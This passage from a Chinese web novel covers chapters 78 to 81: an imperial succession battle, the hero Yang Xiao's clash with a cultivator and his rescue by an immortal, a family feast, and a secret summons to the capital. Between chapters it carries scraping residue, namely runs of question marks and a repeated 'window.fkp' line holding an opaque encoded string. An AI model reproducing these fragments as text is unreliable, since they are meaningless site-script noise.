相较与周王朝的其它军队,西梁境的军伍本就悍勇许多,而玄甲卫又是西梁军伍精锐中的精锐,每一名玄甲卫都是从军中精挑细选而来的悍勇之卒,每一名玄甲卫无不是经历了几番生死之战从死人堆里爬出来的,又岂是太子军这些个只是在校场上训练出来的,没经历过真正的生死厮杀的所谓的精锐能比得了的。 一经厮杀混战在一起,两军谁优谁劣高下立判。就算是在敌众我寡的情况下,每一名玄甲卫差不多都能连斩四五名敌军而自身却少有受伤。不过太子军还是太多了,就算玄甲卫们个个悍不畏死,可防线还是在渐渐地向后退却。 就在双方打的不可开交时,又从两处方向传来喊杀声,很快就有两股势力从不同的方向杀入了殿前的广场。太子一看来人:“老二,老四!老三,老六!小七?你怎么也来了?” 一个约么十二三的少年也出现在乱军之中。 “我……我不是自己想要来的,是……是他们……是他们把我硬拽过来的……。”小年显然对面前这种乱军混战,血流当场的情景害怕到了极点,连话都说不利索了。 不等那少年说完,一个壮硕青年便将他一把抓到了身后。那壮硕青年便是二皇子,只见他嘿嘿一笑说道:“大哥心疼了?别怪我们,谁让父皇疼他,给了他一支亲兵护卫呢。” 太子哪里会心疼这个无关紧要的所谓最小的弟弟,只不过一个小孩子也参与到皇位争夺这件事情里来让他有点奇怪罢了。太子看看两方人马问道:“你们当真要与我做对?” 另一边相貌秉性皆是阴戾的三皇子眼睛一眯桀桀的笑道:“大哥,这可是你的人先动的手,既然如此那我们当然就不客气了。” 太子一听这话气就不打一处来,什么叫我的人先动的手?要不是你们从背后偷袭我的人会动手? “那不赶快让他们停手!” 另一边胖胖的六皇子阴阳怪气的说道:“您老人家说的倒是容易,这都打成一片了还怎么停下来?”这憨憨的语气嗓音再配上他那个身材相貌,没来由的让人觉得好笑。 现在是四方人马大混战,哪一方都不希望其他人轻易获胜,而又都想着能成为最后摘桃子的那个人,于是一但有哪一方占了上风,另外的三方就联合起来攻打那个占上风的一方,而等到这一方被打压下去后就又是一片混战,等再次出现一方占优势后另外三方便再次联合起来攻打这新出现的优势一方。两方僵持变成了四方混战。 下面广场上打的热闹,这边五皇子他们在开战伊始就退回到了大殿中。现在的五皇子早被这血溅五步,尸横当场的场面给吓的面色苍白,浑身如筛糠一般。他颤抖着声音问西梁王:“九叔,我不会有事吧?” 他现在可以说已经是大周王朝的皇帝了。西梁王胸有成竹,先施一礼安慰道:“陛下尽管放心,只要再等上片刻,等他们都打的精疲力尽了才好收网,到那时才能将陛下宝座前的绊脚石一网打尽。” 新皇帝闻言心中稍稍安定了一分,抚着胸口像是自言自语道:“那就好,那就好。”随后又像是忽然想起什么似的连忙对西梁王说道:“九叔不必多礼,不必多礼。” 现在的皇城内到处都有人在厮杀,到处都有流血。就在混战的四方疲态渐露之时,又有一支军队出现在了皇城外。这支军队很快便从皇城城门一路攻到了皇宫的宫墙下,并且很快的便蹬上宫墙控制住了各处宫门。 混战中的太子先是心中一慌,接着当他看清那些夺占了宫墙宫门的军卒后大喜道:“哈哈哈……渭河水军!哈哈哈……。” 另外几个皇子听到太子的笑声顿时心就凉了半截,几个人对视一眼各自心照不宣,于是太子的人马就又成了众矢之的。 不过太子并没能高兴多长时间,很快他就发现那些水军只是在各处宫门把守,没有加入战团来支援自己的意思。太子大怒道:“何茂升,你在干什么?还不速速将这些反贼剿灭!”哪里有何茂升的影子,出现在城楼上的是一个年轻的将领。 那年轻将领高声回道:“太子殿下,你不用叫了。” 太子怒问道:“你是何人?何茂升呢?” 那将领笑道:“吾乃杨笑!至于何茂升嘛,你见不到了。” 太子一听大惊失色。来人正是夺取了渭河水军大营的杨笑。 太子以及另外几位皇子闻言,知道今日大势已去,如今唯有突出重围另谋东山再起这一条路了。三股势力又默契的合力一处想要夺门而出,杨笑怎能如他们的意,一声今下双方战成一团。 渭河水军与玄甲卫里应外合,对太子等人形成了两面夹击之势,太子等人很快就落了下风。不冲出去就是必死之局,三股势力的人马全都拼了命的往外冲,眼看就要被其冲出包围,杨笑以及把守宫墙的水军只得纷纷跃下墙头前去阻拦。 就在双方激战正酣之际,又一支规模更大的军队将皇宫团团围住。太子都懵了。这都是什么情况啊?来了一波又一波,没完没了了还。 城楼上一人高声叫道:“贾奉德救驾来迟!” 来的正是当夜西梁王在小院内见过的大将军贾奉德。太子等人闻言更加拼了命的往外冲。贾奉德站在城楼上哈哈大笑:“来呀,给我把太子爷留下来喝茶!” 贾奉德之所以姗姗来迟就是要等到最后几位皇子斗的差不多了,分出高低以后自己才好决定帮谁。眼下太子等人的处境就算是个瞎子也看的出来,贾奉德自然不会站在他那边。任谁又会想到这贾奉德竟然是一个隐藏颇深的骑墙派呢? 很快的,这场皇位之争就落下了帷幕,不过最终还是让太子等人逃脱了。 殿外乱军被镇压下去,西梁王带着五皇子等人来到殿外。贾奉德从宫门一路小跑到五皇子跟前扑通一声就跪倒在地上带着哭腔说道:“贾奉德有罪!贾奉德救驾来迟让吾皇涉险,贾奉德有罪啊!”那等伤心痛哭的模样,不知道的还以为是他贾奉德遭人围攻,险些身陷不测呢!五皇子见有如此忠勇之巨心中大悦,连忙上前搀起贾奉德并好言安慰了几句。 杨笑来到西梁王跟前拜倒在地道:“禀父王,宫内乱军已被剿灭,只是……只是走脱了太子等人。” 西梁王命令道:“速速捉拿,以免后患!” 不等杨笑说话五皇子便气急败坏的叫道:“我要他的项上人头!” 西梁王有些诧异的看了五皇子一眼,杨笑也不知该如何是好,只得看向西梁王,最终西梁王摆手示意杨笑按五皇子的意思去办,杨笑答一声“是”转身而去。 欲知后事如何,且听下回分解。 ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第七十八回 又一位神仙 ?又一位神仙??? 几位皇子逃出圣京城后一路向东而去,那里有二王三郡十七州府是他们各自最大的势力和后路。杨笑一路追出圣京城近百里终于将太子等人截住。 三皇子见只有杨笑带了不多的兵马追来尖着嗓子叫道:“都怪这个西梁小子坏了我等的好事,这会儿他竟然敢只身前来,不如我等就此先出了这口恶气。” 众皇子纷纷响应,太子与大司马交换一下眼神后也点点头,于是纷纷拔转马头准备与杨笑一战。 杨笑带来的人马虽不多,却全都是西梁的精锐骑兵,又哪是这些本来就是败军的残兵败将所能够抵挡的。只见杨笑一马当先冲杀在最前头,就如一叶轻舟划过水面一般在敌人的阵形中,生生的杀出一条血路来,所遇之人无不是被其一刀斩落马下,身后西梁骑兵紧跟而上将杨笑杀出的缺口再次扩大。敌军一时间被杀的人仰马翻。 二皇子见了大吼一声:“小子休要猖狂,看我来拿你!” 只见二皇子挚枪刺来,明晃晃的枪尖直取杨笑当胸,谁知被杨笑用刀挡开长枪一刀拍在臂膀上,二皇子痛呼一声掉下马背。乱军之中不想又被战马一蹄踏中了大腿,二皇子惨叫一声,那条腿明显已经变了形。 刚刚将二皇子打落马下,三皇子立刻就扑了上来。三皇子手持两根短矛以一个二龙戏珠之势向杨笑两肋刺来。杨笑伸手抓住其中一根短矛同时用刀挡开另一根短矛,接着反手一刀,用刀背磕在三皇子的手腕上。三皇子手上吃痛短矛脱手而去。 见杨笑回刀又要向其另一只手臂斩去,三皇子吓得连忙松掉手上的短矛转身就要逃走。杨笑哪能让他就这么轻松的走掉,把抓在手上的短矛向前抛出,矛柄正中三皇子后颈,三皇子眼前一黑翻身滚落马下。 杨笑接着又砍倒两个冲杀上来的小卒子,就在此时眼角余光瞥见一团火红夹带着银白亮光一闪而至。电光火石间杨笑一歪脖子躲过这一击,回头看时原来是四皇子举枪杀来。四皇子一击不中紧接着又是几枪刺来却都被杨笑或挡或躲了开来。 四皇子生的人高马大,将手中长枪挥舞的呼呼生风,杨笑与这位四皇子斗了五六个回合。没想到向来沉默寡言的四皇子还有这般身手,不过也仅仅是到此为止了。五六个回合刚过就被杨笑一刀拍到了马肚子下面。 杨笑把四皇子拍落马下随即便一个冲刺杀到了六皇子跟前。六皇子人长的肥头大耳,肚子上的肥肉一圈摞着一圈,那马儿脊背的大半都被包在他那肥硕的大屁股下,直把那匹马压的让杨笑都替那匹马担心。得亏是一匹少见的好马,换了差一点的,非要被他压折了脊梁不可。 杨笑刚要动手,哪知这个肥头大耳的六皇子却把手里的兵器一丢,直接从马背上滚到地上。随着六皇子滚落马背,眼看着那匹马也长松了一口气。 六皇子爬在地上磕头求饶道:“爷爷饶命!爷爷饶命啊!爷爷饶命!” 杨笑都有点反应不过来了,这么个怂包的家伙是怎么生出来那造反逼宫的心思的? 这一切虽然说起来话长,其实从双方交手到杨笑将几人制服也就不到一盏茶的功夫。解决了几位皇子杨笑再抬头去找太子时哪里还有太子的人影,只远远的看到两个绝尘而去的背影。杨笑于是纵马杀出人群,单骑直追而去。 一直追了十几里路,直到遇到一条河流拦住去路这才追上了太子和大司马二人。不过看样子二人并不像是走投无路的样子,倒像是专门在这里等杨笑一般。杨笑惊惕地左右看看,这处地方荒无人烟,二人在这里停下脚步怕是另有原由。 大司马将杨笑上下打量了一番问道:“小子你不像是花岛的人,你到底是什么来路?” 此时大司马的声音与先前大异,他的声音就如同两块石板在一起磨擦一般刺耳难听,让人听在耳中都有些牙碜的慌。 杨笑皱了皱眉头忍下那股不舒服的感觉说道:“你这老头记性不大好啊?都跟你说了我是西梁王帐下虎威将军杨笑。” 大司马道:“你当老夫是三岁小孩不成?骗得了别人可骗不了我,你分明是有修为在身。” 杨笑有些意外的看了看大司马:“看来你也是修行中人。” “你知道就好。”大司马傲然道。 这是杨笑碰到的第四个修行之人,至于那究竟是怎样的一群人杨笑对他们还是知之甚少。所谓初生牛犊不怕虎,不知道就不害怕。杨笑把刀一横:“看来你们是故意引我到这里的了。” “桀桀……。”大司马发出一阵难听的怪笑声:“真是一个不知天高地厚的毛头小子,凭你练气中期这点微末道行也敢在老夫面前逞能?桀桀……真是笑死老夫了。”在大司马的怪笑声中,一层亮光渐渐的从他的身上浮现而出,最后竟如同铠甲一般敷盖在他的身体各处。而一旁的太子身上也有一股气势升腾而起。 太子身上的气势与那日擂台上的瘦竹杆相比要强上些,与杨笑相比就弱上了许多。杨笑对于太子身负修为这件事只是感到有些意外却并未多在意,而从那大司马身上散发出来的气势,却是磅礴凶涌,就如同大厦当面一般压的杨笑都有些喘不过气来。 杨笑自修行以来一直是一个人独自修练,对与修行界而言他就是一个彻头彻尾的小白。对修行境界的划分以及各层境界的标志杨笑更是一无所知,所以对面前大司马所表现出来的情况杨笑也不知道其修为究竟有多高深,只知道他很厉害,比自己厉害多了。就连杨笑跨下的战马也感觉到了这股强大的气息,嘶鸣着想要挣脱杨笑的控制逃离这里。 杨笑心知不妙正要转身而逃。“现在想逃是不是有些晚了呢?”大司马冷笑着化做一道残影直扑杨笑而来。大司马的速度实在是太快了,不等杨笑有所反应已然扑到了他的面前。大司马一爪探出直取杨笑面门,杨笑只觉一股寒气扑面而来并不断的向他全身各处经脉渗透而去。此时的杨笑立刻感觉到了一股死亡的气息向自己袭来,而他现在浑身上下却连动都不能动一下,唯一能做的就只有闭目等死了。 面对死亡杨笑并没有如常人那般充满了恐惧和紧张,他只是觉得有些遗憾还有些恨。五公主的情义怕是要辜负了;姐姐还需要他来照顾;云羲也还没有找到;父母的仇更是还没有报! 双方的差距实在是太大了,大到他跟本就没有反抗的可能。 “就要死了吗?” 就在杨笑闭目等死的时候一个声在他的身后悠悠地响起:“那你在我的面前又算作什么呢?” 这个声音刚一响起,大司马就立刻如同见到鬼魅一般全身寒毛炸起,本来前冲的身体也立刻变成后退,那速度比来的时候快的多了去了。一进一退转换如此之快,也不知道他是怎么做到的。伴随着那个声音响起的还有一股暖流进入杨笑体内,将渗入到杨笑经脉中的寒气一扫而光。而这时,清醒过来的杨笑才发现自己早已是出了一身的冷汗。 待杨笑挣开眼时大司马早已窜到了几十丈开外。一脸惊恐的大司马结结巴巴的说道:“金……金……金丹!”杨笑转头看去,只见一位身穿淡青色锦绣长袍的中年男子正用一只脚尖轻轻的点在马屁股上,脚尖与马身上的皮毛似触非触,似乎就那么的飘在那里。而此时那匹战马也变的温顺无比,就那么静静地站在那里。 青袍男子轻声说道:“就知道你们黑鹫山会从中作梗,随我走吧。”说完身形一下子就消失在原地。 杨笑一惊连忙转头看向大司马的方向,只见那青袍男子早已站在大司马的身后,而大司马已是双膝跪地蜷缩在那里就如同是一只小鸡仔儿一般被其拎在手中,气息萎靡之极。 从那青袍男子消失到他出现在大司马身边将其擒住,连杨笑一扭头的功夫都没用到,而且这之间一点动静都没有发出,就好像他本来就在那里站着,大司马也本来就被他拎在手中一样。 杨笑心中暗道一句:“真是神仙手段!”心里不由得把这个青袍中年男子与那个传授自己功法的老道比较起来:“也不知道这两个人相比谁更厉害些?” 正在杨笑胡思乱想的时候那青袍男子开口道:“黑鹫山需得给我花岛一个说法。”说罢,手中光芒一闪,大司马的身影就不见了。做完这些又转过头对杨笑和煦的微笑道:“年轻人,咱们有缘再见。”然后就凭空的在原地消失不见了。 这并不是杨笑第一次遇到有人在自己面前凭空消失,但上一次那个老道是在自己身后,到底老道是怎样在自己毫无查觉之中就消失的无影无踪的,杨笑并没有看到。这次就不一样了,人就在自己面前,就这么凭空地一闪就不见了踪影。杨笑揉了揉眼,打马来到刚才二人所在的位置,想要看看刚才那青袍男子是怎么就凭空消失的,不过结果自然是令他失望的。杨笑挠了挠头,有些想不明白这到底是怎么一回事。 这时杨笑才想起来还有一个太子呢!举目四望,哪里还有太子的身影。杨笑四下寻找都不见太子的踪迹只得打马往回走。 没了几位皇子的统领,乱军早已逃的逃,降的降。杨笑于是押上他们回城复命去了。 走脱了太子,杨笑回去究竟要如何交差?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 算七十九回 家有喜事 书接上回。 杨笑押着几位皇子返回京城。虽说走脱了太子留下了后患,但有西梁王在,刚刚继位的五皇子就算是心里不高兴也只能是象征性的批评几句了事。至于小皇子,在开战伊始就由几个亲信护着躲在了角落里并没有参战,再加上又是被胁迫参与叛乱,经西梁王劝说:新皇继位当以稳定人心为重。所以只是轻轻的责罚一下了事。 接下来筹备新皇登基,肃清太子及几位皇子的党羽,发布海捕文书搜捕太子,还有为老皇帝举办葬礼等等事务,让圣京城内着实热闹了一段时间。有西梁王坐阵一应事务都进展的很是顺利,惟独在搜捕太子这件事上一直没有进展,太子就好像是人间蒸发了一般杳无踪迹。 圣京城的事情忙的差不多了,杨笑在新年之前回到了蒲阳山庄,也就是现在的黑虎山庄。西梁王由于要辅佐新皇,所以需要在圣京多停留一段时间。 正所谓扶上马送一程嘛。 新年之前杨笑去看望了几个朋友。当年和杨笑一起偷袭蕃族军寨的一众人靠着这一桩大军功以及后来自已再在军中的努力,大多都在军中有所成就。赵钱眼儿和程江现如今都是百夫长的职位,二人也早都成家立业了。程江如愿的娶了自己从小青梅竹马的心上人,并且已经有了一双儿女。那个当年受人嘲笑欺负的赵钱眼儿回家后当然要先替自己的老娘出一口恶气。现在不但在县城里置办了一套产业让老娘过上了富家奶奶的好日子,还取了两房媳妇儿生下了两儿一女。当年的百夫长如今已经如愿的从参将的职位上退了下来,在家里过起了员外爷一般的生活。而那两个虏来的蕃族女子早已被他纳了小妾,还为他生了一对儿女。 大年初一的午餐当然要吃一个团圆饭。两个堂叔带了一家老小都来山庄里聚在一起,一大家子人好好的热闹了一场。 杨虎、杨豹现在都是贡州府的参将,杨虎还新纳了一房小妾。席间大家说起了杨笑的几个老朋友都过上了好日子,一个个又是娶妻又是纳妾的。二婶唐氏见自家男人说起人家纳妾来就聊的分外起劲儿便冷冷的剜了杨豹一眼,杨豹见了立刻就闭上了嘴。 “人家娶妻纳妾你高兴个什么劲儿?眼热了不成?”唐氏冷着脸说道:“难不成你也想再娶一房?” 杨豹一听这话,向来妻管严的汉子赶紧抱着老婆的大腿说道:“天地良心,我可没有那个念头,我这一辈子就只要你一个。”说着就要指天发誓。 唐氏一把将他的手打开道:“得了吧!你那个狗屁话鬼才信。” 杨豹立刻就说道:“对!对!对!我说的话都是一文不值的狗屁话,娘子你的话比老天爷的话都管用,就是放个屁我也要捧起来放在桌子上供着。” 一句话把大家伙儿都给逗乐了。唐氏听了心里也是美的慌,脸上却强忍着,拿手指在自家汉子脑门上一戳,说道:“净说那没用的,那你可得找一个大点的桌子,要不然这长年累月的积攒下来可放不下。” 杨豹听了立马点头答应道:“哎!我这就去找城南的李木匠,让他打一个大大的桌子。” 这句话又把大家伙儿乐的够呛。唐氏听了真是又气又爱,心道:“这个没心眼的家伙可真是的,上一句刚说了句中听的话,还以为脑袋瓜子开窍了,下一句就又给你犯傻了。” ?唐氏又气又恼抬手作势要打自家男人,可手举到半空却又打不下来,最后只得将攥紧的拳头打在自己的大腿上。她轻叹口气说道:“你现在是贡州府的参将将军,在这贡州地界上大小也是个有头有脸的人物,我又怎能让自家汉子在外面被人笑话了。” 杨豹见媳妇儿不再生气了就嘿嘿的陪上两声干笑。 唐氏接着叹道:“谁让我这些年也没能给你添个一儿半女呢!城西刘家,家境殷实又是书香门第,现有一个闺女年方二八,我已经给你说好了开春就给你接来添做偏房,我也好有个姐妹做伴。等将来再给你生上几个孩子,到老了我也有个依靠。” 杨豹刚要张张嘴说话,被唐氏撇了一眼,只好把到嘴边的话又咽了回去。唐氏撇了杨豹一眼接着说道:“这还不算,笑儿前两年带回来的两个蕃族丫头我看长的怪俊俏的,我这就给你讨来做个暖床丫鬟。”说着就扭过头问杨笑:“不知道笑侄儿你舍不舍得?” 杨笑见婶子问自己就说道:“这件事婶子得问我姐姐,人早就归姐姐安排了。” 唐氏又看向杨落儿,杨落儿说道:“婶子要要,侄女自然没有不答应的道理,婶子今天就领走,也省得我看见了心烦。” 唐氏回过头对自家汉子道:“这回你可满意了吧?领回去将来养的孩子少了我可是不答应!” 杨豹高兴的就差磕头了,拍着胸脯道:“老婆大人放心,甭管哪个有了孩子都得先管您老人家叫娘!” 大家伙又笑话了杨豹一阵子。大婶子吕氏又向杨落儿关心道:“落侄女呀,你也不小了,也该嫁个好人家了。”这话一出口,杨笑先不是滋味儿了。这些年姐姐只顾着照顾自己这个弟弟,把自己的终身大事都给耽误了,自己这个弟弟可真是不称职。杨落儿只道自己还不急。 吕氏又说道:“你还不着急,来西梁时笑儿才多大?现如今笑儿都这么大的男人了,连公主都给诓回家了,你算算你都多大了还不着急。” 旁边的五公主接话道:“姐姐要嫁也得好好的挑拣挑拣,一般的人家咱还看不上呢!”五公主在山庄这些日子也是与众人熟悉了,一说到自家大姑子张嘴就把话接了过来:“赶明儿我回到王府就让母亲给姐姐找一个西梁境内一品家境的嫁过去做正堂夫人。” 五公主话音刚落二婶唐氏就开起了她的玩笑:“哎呀!你个傻丫头。你这做弟媳妇儿的是有多着急要把大姑子扫地出门呀!” 一群人都被两个人给逗的笑到不行,五公主这才反应过来是自己说错了话,连忙辨解:“我不是那个意思,我不是那个意思……。” ……一场家宴在欢声笑语中结束了。 这一年里杨笑在西梁的亲人朋友家家户户都有喜事,杨笑自然也少不了喜事。 过完年没几天就是立春。彼时立春这一天才是新的一年的正式开始。按照习俗立春这一天要到庙里拜春娘娘祈福,祈求新的一年里,家里能平平安安,五谷丰登。 家里的几个女人约了一块去庙里上香。上香回来,人还没进门就听见二婶子的笑声先到了:“哈哈哈……笑侄儿……笑侄儿婶子我给你道喜了哈哈哈……。”杨笑迎出屋门向二婶子一礼问道:“什么事把婶子高兴成这样?” ?“你这傻孩子!你那宝贝公主有喜了!” ?杨笑“啊”了一声有点没反应过来。 ?“还不明白?你要当爹了!” ?杨笑有些难以置信道:“我没听错吧?这是什么时候的事?” ?二婶子拍了杨笑一下玩笑道:“你个孩子还真是傻,都三个多月了你还不知道。” 算算日子正好是杨笑去圣京前的事,这可是杨家的一件大喜事。杨笑连忙吩咐人去西梁城请来了王府的御医,御医为五公主诊脉确定公主是喜脉无疑,这下杨笑对五公主更是呵护有加了。只是自五公主自从有了身孕后身体就越发的不痛快了,都说是害喜的原故,连御医也说是害喜,只要调理一段时日就没有大碍了。慧王妃听说后就把五公主接回了王府以方便照顾女儿。杨笑对五公主自是更加关心呵护。 只是众人此时还不知道,在这一连串的喜事后面正有一场大风波即将到来。 到底杨笑在这一场风波中会经历些什么?欲知后事如何,且听下回分解! ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第八十回 圣京密信 圣京密信 就在杨笑一家人全都沉浸在一桩桩喜事带来的喜庆气氛中时,从圣京城传回来了一条消息。 这一天,风和日丽。杨笑正在书房内处理军务,一名侍卫走进来躬身一礼道:“将军,京城来的密信。”说完把一只信鸽捧到了杨笑的面前。那信鸽的一只脚上绑了一个由油纸做成的信筒,杨笑把信筒摘下后示意侍卫退下。 细细的信筒小巧而精致,上面用火漆封了口,火漆上还用印章盖了一个小小的密字,筒身上有西梁军笺四个小字。这是西梁王府与西梁各地传递紧急军情所用的印记。 杨笑拆开封口,从里面取出一个小纸条来,打开后只见上面写着一行小字:杨笑吾儿,此十万火急,见信后速乘神虎密秘来京。切记!切记!后面是西梁王的署名。 杨笑看完密信后略做思索,起身取来一个火折子,吹出火苗来把那封密信在火折子上点着了。直到那张纸条全部化为灰烬落进了桌上的砚台里,杨笑才熄灭了火折子,然后把烧成灰的密信全都研进了墨汁里。 做完这一切后杨笑冲外面唤道:“来人!” 一名侍卫进入屋门。 “本将要出门几日,营中一概军务由各营将军自行处理,若是重要军情几位将军便协商处理吧。”杨笑说完不等侍卫答应便起身离去了。 午夜,宵禁的圣京城只有寥寥的几处灯火,如今的圣京早已不复以往的繁华,更何况不久前这里还上演了一场夺嫡大战。一些上了年岁的老人还依稀记得当年那个彻夜通明的不夜城是如何的灯火璀璨,繁华热闹。 一轮弯月穿行在稀薄的云层间,在这昏暗的月光下,圣京城似乎已沉沉的睡着了。一处高墙大院内,闪动着一处处灯火。墙内的灯火与墙外的黑暗就如同两个世界一般。在宵禁下的京城内,这里是仅有的有亮光的几处院落之一,由此可见这里定然是一处特殊的存在。 灯光从一间不起眼的房间内射出,一直射向黑暗的天空。房间外表朴素,内里却是别有洞天。从床头的纱帘到墙上的装饰,从桌后的书架到桌上的笔砚,无不在低调中彰显着尊贵二字。这间屋子里的每一件物品,那怕是角落里一个不显眼小玩样儿,寻常百姓家里若是敢有一件,那就是满门抄斩的重罪。一个两鬓生有几丝白发的中年男子正斜倚在书桌后低头看着手里的书,正是西梁王。原来这处院落就是西梁王在圣京城内的府邸。 “吱扭”一声,一股风透过门缝将初春的一缕寒气带入了屋内,吹的烛光一阵晃动。西梁王依旧在那里看着手里的书一动也不动,就好像丝毫没有察觉到屋内的动静似的。 “孩子见过父王。”一个年轻人站在书桌前向西梁王一礼道:“不知父王何事急招孩儿前来?” 西梁王缓缓地合上手里的书却并没有回答年轻人的问题,而是缓缓地起身在书桌后来回地渡了几步,似乎是在思量着该怎么开口。良久西梁王才开口道:“笑儿呀!你相信这个世上有鬼神吗?” 年轻人正是秘密入京的杨笑。杨笑听到西梁王问话后抬头看了看西梁王沉声回道:“以前不太相信,不过现在信了。” “哦?这是为何?” 杨笑想了想就把追捕前太子所遇之事向西梁王述说了一遍,不过讲的时候把其中的许多事情有所保留,只是大概的说了大司马如何厉害,那神密的青衣仙人又是如何的救了自己,随后又是如何的擒住并带走了大司马。 西梁王听杨笑说到青衣仙人连忙问道:“你看到的那个青衣仙人是怎样一幅相貌?”杨笑就把那青衣仙人的衣着样貌说了一遍。西梁王听了便道:“是了,是了,应该是同一位仙人了。” 杨笑闻言问道:“父王也遇到了那位仙人?” “如果没有猜错的话,你我二人遇到的应该就是同一位仙人了……。”说着西梁王就把自己遇到的事情也向杨笑说了起来。 原来,这天夜里西梁王正在睡梦中,恍惚间仿佛听到有人在呼唤自己。西梁王从睡梦中醒来,睁眼见一身着华美青袍,头戴青色发冠,持一柄碧玉拂尘的道人出现在屋内。那道人面容祥和,身上有层层华光闪动。青衣人从空中缓缓地落到西梁王面前:“你可是这周国的西梁王?”青衣人的声音缥缈悦耳,似是从天外传来,让人听了在心中不由的生出一份平静来。 西梁王见青衣人这般光景心道:“莫非是仙人不成?”闻听仙人问自己话,忙回道:“鄙人正是本国西梁王,不知仙人有何吩咐?” 青衣仙人开口道:“五日后你将有一场祸事临头,吾特为救你而来。” “祸事?不知是什么样的祸事?”西梁王不解道。 青衣仙人:“是一场关乎你身家性命的祸事。” “啊!”西梁王有些吃惊:“难不成是什么天灾?”以西梁王如今的身份地位,他也实在是想不出除了天灾外,还有什么能威胁到自己的身家性命的。 “人祸!”青衣仙人摇摇头回答道。 “人祸?”西梁王低头沉吟了一句,再抬头时哪里还有青衣仙人的身影,西梁王连忙跑下床向空中叫道:“仙人还未教我避祸之法。” “快找杨笑去吧!……。”青衣仙人的声音自空中悠悠地传来。 “杨笑?”西梁王又沉吟道。就在这时从外面传来一阵敲门声。 “何事?”西梁王回过神来应道。 “王爷,内庭上书房胡总管说是有件十万火急的事情要面见王爷。”房门外传来王府管家的声音响。 “哦?请他到书房稍等。”西梁王吩咐道。 被屋内动静惊醒的值夜侍女们连忙小跑过来为西梁王披上外衣,西梁王这才发现自己连鞋都没有穿就跑出了卧室。 西梁王迈步进入书房,胡总管早已在此等候。见西梁王进来胡总管连忙跪在西梁王跟前慌张道:“王爷,大……。”胡总管刚一开口看到跟在西梁王身后的管家及侍女们又把到嘴边的话生生的止住了。 西梁王见状挥手退去众人,胡总管这才急切道:“王爷大事不好了!” 西梁王搀起胡总管,边向书桌后走边说道:“不要慌张,慢慢说。” 胡总管起身来到西梁王身边悄声道:“陛下受妖人蛊惑,准定本月初七就要置王爷于死地!” 西梁王听完面色一变道:“当真?” 胡总管急道:“此是老奴亲耳所闻!老奴不敢忘王爷恩情,趁着今天出宫采办,老奴借口早早的出宫,特来告知王爷。老奴不能久留这便告辞了,王爷还是早做打算为妙。” 西梁王送走了胡总管在书房里来回的渡着步子,口中念叨道:“果然如仙人所言来了一场人祸,本王一心辅佐,没想到却换来这么个结果!” 西梁王初听到这个消息的时候心里感到的并不是害怕,而是心痛至极。自己一心孝忠的皇帝却想要自己的命,而这个皇帝还是不久前自己一手扶上皇位的。现在自己以最短的时间帮他坐稳了这个皇位,谁又能知道他才刚刚掌权就这么急着想要自己的项上人头呢? 西梁王有些颓然的坐在那里,就好像一下子老了十几岁似的。 “杨笑,杨笑?……。”西梁王在嘴里不住的念叨着:“莫非是我那女婿杨笑?一定是了!可西梁距此少说也有十几天的路程,怎么能赶得上呢?……对……有那匹黑虎神兽啊!我回不去可以让他过来呀!”看看外面天色将亮西梁王连忙写下密信一封命人取来信鸽,把密信绑在信鸽身上亲手放飞。 杨笑听西梁王把事情的始末说了一遍思量了一下后问道:“父王有没有想过自己当皇帝?” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 雷鸣 第八十一回 反出圣京城(一) 上回说到杨笑劝西梁王夺取皇位。谁知杨笑话音未落西梁王便怒喝道:“混账!本王怎能做出如此大逆不道之事!” 杨笑见西梁王发怒连忙跪地道:“父王息怒。” “杨笑啊!杨笑!我真是没有想到你竟然能说出这样的话来!”西梁王一幅失望至极的样子。 杨笑劝道:“父王请息怒,且听我一言。” 西梁王冷哼一声:“好!你说,我看你今天能说出什么来!”说完气呼呼的坐在那里扭过头不再理他。 杨笑起身缓缓道:“现在摆在我们面前的有四条路,首先,父王毫不反抗,不过这么做无异于引颈受戮。其次,是除掉那奸佞之人。可帝王心思父王应该比我更了解,无论陛下是否是听信了谗言,要么他不动这个心思,既然动了这个心思就再难有回转的余地。除掉奸人虽说暂时解了危机,可难保日后陛下再寻借口,到时候只怕连一线生机都没有了。其三,我带父王连夜返回西梁。可这样一来,父王无故私返封地必然落人口实,届时陛下问罪,父王如何处之?不抗旨与待在京城引颈受戮有何区别?抗旨不尊陛下更有理由痛下杀手。拥兵自保与造反又有什么两样?这三条路无论过程如何最后都难逃一个死字。” 西梁王边听边缓缓点头渐渐的气也消了几分。 杨笑接着说道:“只有这最后一条路才是一条活路,那就是夺下皇位自己当皇帝,到时候这天底下还有谁能左右父王的生死。” “要生要死就全在父王一念之间了。”杨笑最后说道。 西梁王听完杨笑的话后沉默良久。过了一会儿西梁王开口道:“若只我一人生死倒也罢了,只怕我一家老小全都在劫难逃。” 